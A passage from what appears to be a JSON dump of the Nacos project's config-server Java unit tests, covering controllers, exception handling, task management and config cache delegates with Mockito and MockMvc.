verify(historyService).getConfigListByNamespace(TEST_NAMESPACE_ID_PUBLIC);\n        \n        assertEquals(ErrorCode.SUCCESS.getCode(), result.getCode());\n        List<ConfigBasicInfo> actualList = result.getData();\n        assertEquals(configInfoWrappers.size(), actualList.size());\n        ConfigBasicInfo actualConfigInfoWrapper = actualList.get(0);\n        assertEquals(configInfoWrapper.getDataId(), actualConfigInfoWrapper.getDataId());\n        assertEquals(configInfoWrapper.getGroup(), actualConfigInfoWrapper.getGroupName());\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/controller/v3/ListenerControllerV3Test.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.service.listener.ConfigListenerStateDelegate;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport jakarta.servlet.ServletContext;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.springframework.core.env.StandardEnvironment;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.util.ReflectionTestUtils;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockHttpServletRequestBuilder;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\n@ContextConfiguration(classes = MockServletContext.class)\n@WebAppConfiguration\nclass ListenerControllerV3Test {\n    \n    @InjectMocks\n    ListenerControllerV3 listenerControllerV3;\n    \n    private MockMvc mockmvc;\n    \n    @Mock\n    private ServletContext servletContext;\n    \n    @Mock\n    private ConfigListenerStateDelegate configListenerStateDelegate;\n    \n    @BeforeEach\n    void setUp() {\n        EnvUtil.setEnvironment(new StandardEnvironment());\n        when(servletContext.getContextPath()).thenReturn(\"/nacos\");\n        ReflectionTestUtils.setField(listenerControllerV3, \"configListenerStateDelegate\", configListenerStateDelegate);\n        mockmvc = MockMvcBuilders.standaloneSetup(listenerControllerV3).build();\n    }\n    \n    @Test\n    void testGetAllSubClientConfigByIp() throws Exception {\n        \n        ConfigListenerInfo sampleResult = new ConfigListenerInfo();\n        Map<String, String> map = new HashMap<>();\n        map.put(\"test\", \"test\");\n        sampleResult.setListenersStatus(map);\n        when(configListenerStateDelegate.getListenerStateByIp(\"localhost\", true)).thenReturn(sampleResult);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.LISTENER_CONTROLLER_V3_ADMIN_PATH)\n                .param(\"ip\", \"localhost\").param(\"all\", \"true\").param(\"namespaceId\", \"test\").param(\"sampleTime\", \"1\");\n        \n        String actualValue = mockmvc.perform(builder).andReturn().getResponse().getContentAsString();\n        assertEquals(\"0\", JacksonUtils.toObj(actualValue).get(\"code\").toString());\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        ConfigListenerInfo configListenerInfo = JacksonUtils.toObj(data, ConfigListenerInfo.class);\n        Map<String, String> resultMap = configListenerInfo.getListenersStatus();\n        assertEquals(ConfigListenerInfo.QUERY_TYPE_IP, configListenerInfo.getQueryType());\n        assertEquals(map.get(\"test\"), resultMap.get(\"test\"));\n        \n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/controller/v3/MetricControllerV3Test.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.controller.v3;\n\nimport com.alibaba.nacos.api.config.remote.response.ClientConfigMetricResponse;\nimport com.alibaba.nacos.common.model.RestResult;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.ServerMemberManager;\nimport com.alibaba.nacos.core.remote.Connection;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport jakarta.servlet.ServletContext;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.springframework.core.env.StandardEnvironment;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.util.ReflectionTestUtils;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockHttpServletRequestBuilder;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CountDownLatch;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\n@ContextConfiguration(classes = MockServletContext.class)\n@WebAppConfiguration\nclass MetricControllerV3Test {\n    \n    @InjectMocks\n    MetricsControllerV3 metricsControllerV3;\n    \n    private MockMvc mockMvc;\n    \n    @Mock\n    private ServerMemberManager memberManager;\n    \n    @Mock\n    private ConnectionManager connectionManager;\n    \n    @Mock\n    private ServletContext servletContext;\n    \n    @BeforeEach\n    void setUp() {\n        System.setProperty(\"nacos.core.auth.admin.enabled\", \"false\");\n        EnvUtil.setEnvironment(new StandardEnvironment());\n        when(servletContext.getContextPath()).thenReturn(\"/nacos\");\n        ReflectionTestUtils.setField(metricsControllerV3, \"serverMemberManager\", memberManager);\n        ReflectionTestUtils.setField(metricsControllerV3, \"connectionManager\", connectionManager);\n        mockMvc = MockMvcBuilders.standaloneSetup(metricsControllerV3).build();\n    }\n    \n    @AfterEach\n    void tearDown() {\n        System.clearProperty(\"nacos.core.auth.admin.enabled\");\n    }\n    \n    @Test\n    void testGetClusterMetric() throws Exception {\n        List<Member> members = new ArrayList<>();\n        Member m1 = new Member();\n        m1.setIp(\"127.0.0.1\");\n        m1.setPort(8848);\n        members.add(m1);\n        Member m2 = new Member();\n        m2.setIp(\"127.0.0.1\");\n        m2.setPort(9848);\n        members.add(m2);\n        Member m3 = new Member();\n        m3.setIp(\"127.0.0.1\");\n        m3.setPort(7848);\n        members.add(m3);\n        \n        when(memberManager.allMembers()).thenReturn(members);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.METRICS_CONTROLLER_V3_ADMIN_PATH + \"/cluster\")\n                .param(\"ip\", \"127.0.0.1\").param(\"namespaceId\", \"test\").param(\"dataId\", \"test\").param(\"groupName\", \"test\");\n        String actualValue = mockMvc.perform(builder).andReturn().getResponse().getContentAsString();\n        String code = JacksonUtils.toObj(actualValue).get(\"code\").toString();\n        assertEquals(\"0\", code);\n    }\n    \n    @Test\n    void testClusterMetricsCallBack() {\n        \n        Member m1 = new Member();\n        m1.setIp(\"127.0.0.1\");\n        m1.setPort(8848);\n        \n        //success result\n        RestResult<Map> result1 = new RestResult<>();\n        HashMap<String, Object> stringObjectHashMap = new HashMap<>();\n        stringObjectHashMap.put(\"test\", \"md5..\");\n        result1.setData(stringObjectHashMap);\n        result1.setCode(200);\n        \n        CountDownLatch latch = new CountDownLatch(5);\n        String dataId = \"d1\";\n        String group = \"g1\";\n        String tenant = \"t1\";\n        String ip = \"192.168.0.1\";\n        Map<String, Object> responseMap = new HashMap<>();\n        MetricsControllerV3.ClusterMetricsCallBack clusterMetricsCallBack = new MetricsControllerV3.ClusterMetricsCallBack(\n                responseMap, latch, dataId, group, tenant, ip, m1);\n        clusterMetricsCallBack.onReceive(result1);\n        //fail result\n        RestResult<Map> result2 = new RestResult<>();\n        HashMap<String, Object> stringObjectHashMap2 = new HashMap<>();\n        stringObjectHashMap2.put(\"test2\", \"md5..\");\n        result2.setData(stringObjectHashMap2);\n        result2.setCode(500);\n        clusterMetricsCallBack.onReceive(result2);\n        //error and cancel\n        clusterMetricsCallBack.onError(new NullPointerException());\n        clusterMetricsCallBack.onCancel();\n        clusterMetricsCallBack.onCancel();\n        assertEquals(stringObjectHashMap, responseMap);\n        assertEquals(0, latch.getCount());\n    }\n    \n    @Test\n    void testGetCurrentMetric() throws Exception {\n        \n        ClientConfigMetricResponse response = new ClientConfigMetricResponse();\n        response.putMetric(\"test\", \"test\");\n        Connection connection = Mockito.mock(Connection.class);\n        when(connection.request(any(), anyLong())).thenReturn(response);\n        List<Connection> connections = new ArrayList<>();\n        connections.add(connection);\n        when(connectionManager.getConnectionByIp(eq(\"127.0.0.1\"))).thenReturn(connections);\n        \n        MockHttpServletRequestBuilder builder = MockMvcRequestBuilders.get(Constants.METRICS_CONTROLLER_V3_ADMIN_PATH + \"/ip\")\n                .param(\"ip\", \"127.0.0.1\").param(\"namespaceId\", \"test\").param(\"dataId\", \"test\").param(\"groupName\", \"test\");\n        String actualValue = mockMvc.perform(builder).andReturn().getResponse().getContentAsString();\n        String data = JacksonUtils.toObj(actualValue).get(\"data\").toString();\n        assertEquals(\"{\\\"test\\\":\\\"test\\\"}\", data);\n        \n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/exception/GlobalExceptionHandlerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.exception;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.config.server.controller.v3.HistoryControllerV3;\nimport com.alibaba.nacos.core.listener.startup.NacosStartUp;\nimport com.alibaba.nacos.core.listener.startup.NacosStartUpManager;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;\nimport org.springframework.test.context.bean.override.mockito.MockitoBean;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.ResultActions;\nimport org.springframework.test.web.servlet.result.MockMvcResultMatchers;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\nimport org.springframework.web.context.WebApplicationContext;\n\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.when;\nimport static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;\n\n@WebMvcTest(GlobalExceptionHandlerTest.class)\nclass GlobalExceptionHandlerTest {\n    \n    private MockMvc mockMvc;\n    \n    @Autowired\n    private WebApplicationContext context;\n    \n    @MockitoBean\n    private HistoryControllerV3 historyControllerV3;\n    \n    @BeforeAll\n    static void beforeAll() {\n        NacosStartUpManager.start(NacosStartUp.CORE_START_UP_PHASE);\n    }\n    \n    @BeforeEach\n    void before() {\n        mockMvc = MockMvcBuilders.webAppContextSetup(context).build();\n    }\n    \n    @Test\n    void testNacosRunTimeExceptionHandler() throws Exception {\n        // 设置HistoryControllerV3的行为，使其抛出NacosRuntimeException并被GlobalExceptionHandler捕获处理\n        when(historyControllerV3.getConfigsByNamespace(any())).thenThrow(\n                        new NacosRuntimeException(NacosException.INVALID_PARAM))\n                .thenThrow(new NacosRuntimeException(NacosException.SERVER_ERROR))\n                .thenThrow(new NacosRuntimeException(503));\n        \n        // 执行请求并验证响应码 (v3 history path)\n        ResultActions resultActions = mockMvc.perform(get(\"/v3/admin/cs/history/configs\").param(\"namespaceId\", \"test\"));\n        resultActions.andExpect(MockMvcResultMatchers.status().is(NacosException.INVALID_PARAM));\n        \n        ResultActions resultActions1 = mockMvc.perform(get(\"/v3/admin/cs/history/configs\").param(\"namespaceId\", \"test\"));\n        resultActions1.andExpect(MockMvcResultMatchers.status().is(NacosException.SERVER_ERROR));\n        \n        ResultActions resultActions2 = mockMvc.perform(get(\"/v3/admin/cs/history/configs\").param(\"namespaceId\", \"test\"));\n        resultActions2.andExpect(MockMvcResultMatchers.status().is(503));\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/manager/TaskManagerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.manager;\n\nimport com.alibaba.nacos.common.task.AbstractDelayTask;\nimport com.alibaba.nacos.common.task.NacosTaskProcessor;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.internal.verification.Times;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport javax.management.ObjectName;\nimport java.lang.management.ManagementFactory;\nimport java.util.Date;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass TaskManagerTest {\n    \n    private TaskManager taskManager;\n    \n    @Mock\n    private NacosTaskProcessor taskProcessor;\n    \n    @Mock\n    private NacosTaskProcessor testTaskProcessor;\n    \n    private AbstractDelayTask abstractTask;\n    \n    @BeforeEach\n    void setUp() {\n        taskManager = new TaskManager(TaskManagerTest.class.getName());\n        taskManager.setDefaultTaskProcessor(taskProcessor);\n        abstractTask = new AbstractDelayTask() {\n            @Override\n            public void merge(AbstractDelayTask task) {\n            }\n        };\n    }\n    \n    @AfterEach\n    void tearDown() {\n        taskManager.close();\n    }\n    \n    @Test\n    void testSize() {\n        assertEquals(0, taskManager.size());\n        taskManager.addTask(\"test\", abstractTask);\n        assertEquals(1, taskManager.size());\n        taskManager.removeTask(\"test\");\n        assertEquals(0, taskManager.size());\n    }\n    \n    @Test\n    void testIsEmpty() {\n        assertTrue(taskManager.isEmpty());\n        taskManager.addTask(\"test\", abstractTask);\n        assertFalse(taskManager.isEmpty());\n        taskManager.removeTask(\"test\");\n        assertTrue(taskManager.isEmpty());\n    }\n    \n    @Test\n    void testAddProcessor() throws InterruptedException {\n        when(testTaskProcessor.process(abstractTask)).thenReturn(true);\n        taskManager.addProcessor(\"test\", testTaskProcessor);\n        taskManager.addTask(\"test\", abstractTask);\n        TimeUnit.MILLISECONDS.sleep(200);\n        verify(testTaskProcessor).process(abstractTask);\n        verify(taskProcessor, never()).process(abstractTask);\n    }\n    \n    @Test\n    void testRemoveProcessor() throws InterruptedException {\n        when(taskProcessor.process(abstractTask)).thenReturn(true);\n        taskManager.addProcessor(\"test\", testTaskProcessor);\n        taskManager.removeProcessor(\"test\");\n        taskManager.addTask(\"test\", abstractTask);\n        TimeUnit.MILLISECONDS.sleep(200);\n        verify(testTaskProcessor, never()).process(abstractTask);\n        verify(taskProcessor).process(abstractTask);\n    }\n    \n    @Test\n    void testRetryTaskAfterFail() throws InterruptedException {\n        when(taskProcessor.process(abstractTask)).thenReturn(false, true);\n        taskManager.addTask(\"test\", abstractTask);\n        TimeUnit.MILLISECONDS.sleep(300);\n        verify(taskProcessor, new Times(2)).process(abstractTask);\n    }\n    \n    @Test\n    void testGetTaskInfos() throws InterruptedException {\n        taskManager.addProcessor(\"test\", testTaskProcessor);\n        when(testTaskProcessor.process(abstractTask)).thenReturn(true);\n        taskManager.addTask(\"test\", abstractTask);\n        assertEquals(\"test:\" + new Date(0) + Constants.NACOS_LINE_SEPARATOR, taskManager.getTaskInfos());\n        TimeUnit.MILLISECONDS.sleep(150);\n        assertEquals(\"test:finished\" + Constants.NACOS_LINE_SEPARATOR, taskManager.getTaskInfos());\n    }\n    \n    @Test\n    void testInit() throws Exception {\n        taskManager.init();\n        ObjectName oName = new ObjectName(TaskManagerTest.class.getName() + \":type=\" + TaskManager.class.getSimpleName());\n        assertTrue(ManagementFactory.getPlatformMBeanServer().isRegistered(oName));\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/model/ConfigCacheFactoryDelegateTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Constructor;\nimport java.util.Collections;\n\nimport static org.mockito.Mockito.mockStatic;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigCacheFactoryDelegateTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<NacosServiceLoader> nacosServiceLoaderMockedStatic;\n    \n    @Mock\n    NacosConfigCacheFactory nacosConfigCacheFactory;\n    \n    @BeforeEach\n    void setUp() {\n        envUtilMockedStatic = mockStatic(EnvUtil.class);\n        nacosServiceLoaderMockedStatic = mockStatic(NacosServiceLoader.class);\n    }\n    \n    @AfterEach\n    void tearDown() {\n        envUtilMockedStatic.close();\n        nacosServiceLoaderMockedStatic.close();\n    }\n    \n    @Test\n    public void test() {\n        nacosServiceLoaderMockedStatic.when(() -> NacosServiceLoader.load(ConfigCacheFactory.class))\n                .thenReturn(Collections.singletonList(nacosConfigCacheFactory));\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\")).thenReturn(\"lalala\");\n        ConfigCache configCache = ConfigCacheFactoryDelegate.getInstance().createConfigCache();\n        ConfigCache configCache1 = ConfigCacheFactoryDelegate.getInstance().createConfigCache(\"md5\", 123456789L);\n        ConfigCacheGray configCacheGray = ConfigCacheFactoryDelegate.getInstance().createConfigCacheGray(\"grayName\");\n        ConfigCacheGray configCacheGray1 = ConfigCacheFactoryDelegate.getInstance().createConfigCacheGray();\n        verify(nacosConfigCacheFactory, times(0)).createConfigCache();\n        verify(nacosConfigCacheFactory, times(0)).createConfigCacheGray();\n    }\n    \n    @Test\n    public void test2() throws Exception {\n        when(nacosConfigCacheFactory.getName()).thenReturn(\"nacos\");\n        when(nacosConfigCacheFactory.createConfigCache()).thenReturn(new ConfigCache());\n        when(nacosConfigCacheFactory.createConfigCacheGray()).thenReturn(new ConfigCacheGray());\n        nacosServiceLoaderMockedStatic.when(() -> NacosServiceLoader.load(ConfigCacheFactory.class))\n                .thenReturn(Collections.singletonList(nacosConfigCacheFactory));\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\")).thenReturn(\"nacos\");\n        Constructor constructor = ConfigCacheFactoryDelegate.class.getDeclaredConstructor();\n        constructor.setAccessible(true);\n        ConfigCacheFactoryDelegate configCacheFactoryDelegate = (ConfigCacheFactoryDelegate) constructor.newInstance();\n        configCacheFactoryDelegate.createConfigCache();\n        configCacheFactoryDelegate.createConfigCache(\"md5\", 123456789L);\n        configCacheFactoryDelegate.createConfigCacheGray(\"grayName\");\n        configCacheFactoryDelegate.createConfigCacheGray();\n        verify(nacosConfigCacheFactory, times(2)).createConfigCache();\n        verify(nacosConfigCacheFactory, times(2)).createConfigCacheGray();\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/model/ConfigCachePostProcessorDelegateTest.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedConstruction;\nimport org.mockito.MockedStatic;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\nimport java.util.Collections;\n\nimport static org.mockito.Mockito.doNothing;\nimport static org.mockito.Mockito.mockStatic;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigCachePostProcessorDelegateTest {\n    \n    MockedConstruction<NacosConfigCachePostProcessor> mockedConstruction;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    MockedStatic<NacosServiceLoader> nacosServiceLoaderMockedStatic;\n    \n    @Mock\n    public NacosConfigCachePostProcessor mockConfigCacheMd5PostProcessor;\n    \n    @BeforeEach\n    void setUp() {\n        envUtilMockedStatic = mockStatic(EnvUtil.class);\n        nacosServiceLoaderMockedStatic = mockStatic(NacosServiceLoader.class);\n    }\n    \n    @AfterEach\n    void tearDown() {\n        envUtilMockedStatic.close();\n        nacosServiceLoaderMockedStatic.close();\n    }\n    \n    @Test\n    void test1() {\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\")).thenReturn(\"lalala\");\n        nacosServiceLoaderMockedStatic.when(() -> NacosServiceLoader.load(ConfigCachePostProcessor.class))\n                .thenReturn(Collections.singletonList(mockConfigCacheMd5PostProcessor));\n        ConfigCachePostProcessorDelegate.getInstance().postProcess(null, null);\n        verify(mockConfigCacheMd5PostProcessor, times(0)).postProcess(null, null);\n    }\n    \n    @Test\n    void test2()\n            throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {\n        when(mockConfigCacheMd5PostProcessor.getName()).thenReturn(\"nacos\");\n        doNothing().when(mockConfigCacheMd5PostProcessor).postProcess(null, null);\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\")).thenReturn(\"nacos\");\n        nacosServiceLoaderMockedStatic.when(() -> NacosServiceLoader.load(ConfigCachePostProcessor.class))\n                .thenReturn(Collections.singletonList(mockConfigCacheMd5PostProcessor));\n        Constructor constructor = ConfigCachePostProcessorDelegate.class.getDeclaredConstructor();\n        constructor.setAccessible(true);\n        Field field = ConfigCachePostProcessorDelegate.class.getDeclaredField(\"instance\");\n        field.setAccessible(true);\n        ConfigCachePostProcessorDelegate delegate = (ConfigCachePostProcessorDelegate) constructor.newInstance();\n        setStaticFinalField(field, delegate);\n        ConfigCachePostProcessorDelegate.getInstance().postProcess(null, null);\n        verify(mockConfigCacheMd5PostProcessor, times(1)).postProcess(null, null);\n    }\n    \n    private void setStaticFinalField(Field finalField, Object value)\n            throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n        Method getDeclaredFields0 = Class.class.getDeclaredMethod(\"getDeclaredFields0\", boolean.class);\n        getDeclaredFields0.setAccessible(true);\n        Field[] fields = (Field[]) getDeclaredFields0.invoke(Field.class, false);\n        Field modifiers = null;\n        for (Field each : fields) {\n            if (\"modifiers\".equals(each.getName())) {\n                modifiers = each;\n            }\n        }\n        modifiers.setAccessible(true);\n        modifiers.setInt(finalField, finalField.getModifiers() & ~Modifier.FINAL);\n        finalField.setAccessible(true);\n        finalField.set(null, value);\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/model/ConfigInfoTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.model;\n\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.consistency.IdGenerator;\nimport com.alibaba.nacos.core.distributed.id.SnowFlowerIdGenerator;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.core.env.StandardEnvironment;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ConfigInfoTest {\n    \n    @Test\n    void testPrecisionIssue() throws Exception {\n        EnvUtil.setEnvironment(new StandardEnvironment());\n        IdGenerator generator = new SnowFlowerIdGenerator();\n        long expected = generator.nextId();\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setId(expected);\n        String json = JacksonUtils.toJson(configInfo);\n        ConfigInfo actual = JacksonUtils.toObj(json, ConfigInfo.class);\n        assertEquals(expected, actual.getId());\n        \n    }\n    \n    @Test\n    void testConfigInfoWithDescAndTags() {\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(\"test.properties\");\n        configInfo.setGroup(\"DEFAULT_GROUP\");\n        configInfo.setTenant(\"public\");\n        configInfo.setContent(\"key=value\");\n        configInfo.setDesc(\"测试配置描述\");\n        configInfo.setConfigTags(\"tag1,tag2,tag3\");\n        \n        assertEquals(\"test.properties\", configInfo.getDataId());\n        assertEquals(\"DEFAULT_GROUP\", configInfo.getGroup());\n        assertEquals(\"public\", configInfo.getTenant());\n        assertEquals(\"key=value\", configInfo.getContent());\n        assertEquals(\"测试配置描述\", configInfo.getDesc());\n        assertEquals(\"tag1,tag2,tag3\", configInfo.getConfigTags());\n    }\n    \n    @Test\n    void testConfigInfoWithNullDescAndTags() {\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(\"test.properties\");\n        configInfo.setGroup(\"DEFAULT_GROUP\");\n        configInfo.setTenant(\"public\");\n        configInfo.setContent(\"key=value\");\n        configInfo.setDesc(null);\n        configInfo.setConfigTags(null);\n        \n        assertEquals(\"test.properties\", configInfo.getDataId());\n        